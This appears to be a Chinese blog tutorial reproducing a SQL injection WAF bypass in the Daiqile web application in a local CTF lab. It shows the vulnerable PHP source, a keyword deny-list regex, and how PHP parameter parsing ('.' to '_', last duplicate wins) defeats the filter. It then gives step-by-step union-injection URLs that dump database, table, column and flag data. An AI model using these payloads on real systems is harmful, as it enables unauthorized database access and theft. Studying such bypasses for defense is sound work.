贷齐乐漏洞复现+php特性绕过WAF

目录

一、环境搭建

1.将贷齐乐源码放入phpstudy中的www目录下

 2.在phpstudy上创建网站:

 3.在本地数据库中创建数据库--ctf,并创建users表:

4.往表中插入数据:

5.查看users表:

6.测试能否访问到数据库

 二、源码分析

 1.WAF1:

2.WAF2:

3.php特性:

4.绕过方法:

三、联合注入

1.找注入点:空格被过滤所以用/**/来代替空格

 2.爆库名:

3.通过limit来一个一个显示数据库名:

 4.爆表名:

5.查字段名

6.得到flag


一、环境搭建

1.将贷齐乐源码放入phpstudy中的www目录下

 2.在phpstudy上创建网站:

注意db.inc.php中数据库信息要与本地数据库一致

<?php

$mysql_server_name="localhost";

$mysql_database="ctf";    /** 数据库的名称 */

$mysql_username="root";  /** MySQL数据库用户名 */

$mysql_password="123456";  /** MySQL数据库密码 */

$conn = mysqli_connect($mysql_server_name, $mysql_username,$mysql_password,$mysql_database);

?>

 3.在本地数据库中创建数据库--ctf,并创建users表:

CREATE DATABASE ctf

use ctf
CREATE TABLE `users` (
  `Id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) DEFAULT NULL,
  `pass` varchar(255) DEFAULT NULL,
  `flag` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8

4.往表中插入数据:

mysql> INSERT INTO `users` (`name`, `pass`, `flag`) VALUES ('admin', 'admin', 'hrctf{R3qeeeee_Is_1nterEst1ng}');

5.查看users表:

6.测试能否访问到数据库

 二、源码分析

 1.WAF1:

所有的英文括号都变成中文括号,导致user(),database()等无法执行,主要是替换一些敏感字符,比如<、>、(、)等。

<?php
// 设置 HTTP 头部,指定内容类型为 text/html,字符集为 utf-8
header("Content-type: text/html; charset=utf-8");
// 引入数据库配置文件
require 'db.inc.php';
// 定义函数 dhtmlspecialchars,用于过滤 HTML 特殊字符
function dhtmlspecialchars($string) {
    if (is_array($string)) {
        // 如果 $string 是数组,递归调用 dhtmlspecialchars 函数处理数组元素
        foreach ($string as $key => $val) {
            $string[$key] = dhtmlspecialchars($val);
        }
    } else {
        // 如果 $string 不是数组,替换 HTML 特殊字符为对应的转义序列
        $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
        // 检查字符串中是否包含 HTML 实体编码,如果包含,将其还原为对应字符
        if (strpos($string, '&amp;#') !== false) {
            $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
        }
    }
    return $string;
}

2.WAF2:

包含点,单引号,星号等等,一旦包含直接删除非法字符,然后又注释掉了一系列东西,主要是

对select、union、等关键字的拦截。一旦发现存在这些关键字,就exit出整个执行流程。

// 定义函数 dowith_sql,用于检查 SQL 注入攻击
function dowith_sql($str) {
    // 使用正则表达式检查字符串是否包含 SQL 注入关键词
    $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
    if ($check) {
        // 如果检查到 SQL 注入关键词,输出警告信息并终止程序执行
        echo "非法字符!";
        exit();
    }
    return $str;
}
// 遍历 $_REQUEST 数组,对用户输入的数据进行 SQL 注入检查和 HTML 特殊字符过滤
foreach ($_REQUEST as $key => $value) {
    $_REQUEST[$key] = dowith_sql($value);
}
// 解析请求 URI,获取查询参数,并对参数进行 HTML 特殊字符过滤和 SQL 注入检查
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
    $rewrite_url = explode("&", $request_uri[1]);
    foreach ($rewrite_url as $key => $value) {
        $_value = explode("=", $value);
        if (isset($_value[1])) {
            $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
        }
    }
}
// 如果提交按钮被点击,则执行以下代码
if (isset($_REQUEST['submit'])) {
    // 获取用户输入的用户 ID
    $user_id = $_REQUEST['i_d'];
    // 构造 SQL 查询语句,查询用户表中 ID 匹配用户输入的用户 ID 的记录
    $sql = "select * from ctf.users where id=$user_id";
    // 执行 SQL 查询
    $result = mysql_query($sql);
    // 遍历查询结果,输出用户信息
    while($row = mysql_fetch_array($result)) {
        echo "<tr>";
        echo "<td>" . $row['name'] . "</td>";
        echo "</tr>";
    }
}
?>

 将$_SERVER['REQUEST_URI']用?分开,?后面的内容再用&切割成数组,遍历这个数组。对数组中的每个字符串,再用=分成0和1,最后填入到$_REQUEST数组中:$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1])),这个过程等于手工处理了一遍REQUEST_URI,将REQUEST_URI中的字符串分割成数组覆盖到REQUEST里。

<?php
print_r($_SERVER['REQUEST_URI']);
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
	$rewrite_url = explode("&", $request_uri[1]);
	foreach ($rewrite_url as $key => $value) {
		$_value = explode("=", $value);
		echo "<pre>";
    	var_dump($_value);
		if (isset($_value[1])) {
			$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
		}
	}
}

3.php特性:

1.当我们输入两个相同名字的参数的时候,php是取后一个的。----php全局污染

2.php另一个特性,自身在解析请求的时候,如果参数名字中包含“ ”、”.”、”[“这几个字符,会将他们转换成下划线。

4.绕过方法:

如果我们有一种方法让第一道WAF检测不到恶意字符,再通过第二道WAF的覆盖,从而将恶意字符传入到$REQUEST中,其实也就可以绕过WAF,完成我们的注入了。

假设我发送的是这样一个请求:i_d=1&i.d=2 ,php先将i.d转换成i_d,即为i_d=1&i_d=2 ,再获取到的$_REQUEST['i_d']就是2。

可在$_SERVER['REQUEST_URI']中,i_d和i.d却是两个完全不同的参数名,那么切割覆盖后,获取的$_REQUEST['i_d']却是1。

1、hpp php 只接收同名参数的最后一个,这个也涉及hpp全局参数污染。

2、php中会将get传参中的key中的.转为_

3、$_REQUEST 遵循php接收方式,i_d&i.d中的最后一个参数的转换为下划线然后接收,所以我们的正常代码放在第二个参数,waf失效。

4、处理中,$_value[0]=i_d  $_value[1]=-1 union select flag from users 但是 value1会经常addslashes和dhtmlspecialchars的过滤,所以不能出现单双引号,等号,空格。

三、联合注入

 通过对源码的解读,可见过滤了很多东西,比如空格、括号、单引号等等,那么在接下来的注入中,我们需要合理的去绕过这些waf。由于括号被注释掉了,所以可以使用联合注入。

1.找注入点:空格被过滤所以用/**/来代替空格

http://127.0.0.1:8081/index.php/?i_d=-1/**/union/**/select/**/1,2,3&i.d=1&submit=1

 在第二个字段进行的回显,所以我们就在第二个字段进行注入

 2.爆库名:

http://127.0.0.1:8081/index.php/?i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables&i.d=1&submit=1

3.通过limit来一个一个显示数据库名:

http://127.0.0.1:8081/index.php/?i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables/**/limit/**/3,1&i.d=1&submit=1

 4.爆表名:

http://127.0.0.1:8081/index.php/?i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=1&submit=1

 由于等号被截断了,所以使用like进行替换,同时传入数据库中的内容使用十六进制进行了替换

5.查字段名

http://127.0.0.1:8081/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/3,1&i.d=1&submit=1

6.得到flag

http://127.0.0.1:8081/index.php/?&i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1&submit=1

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值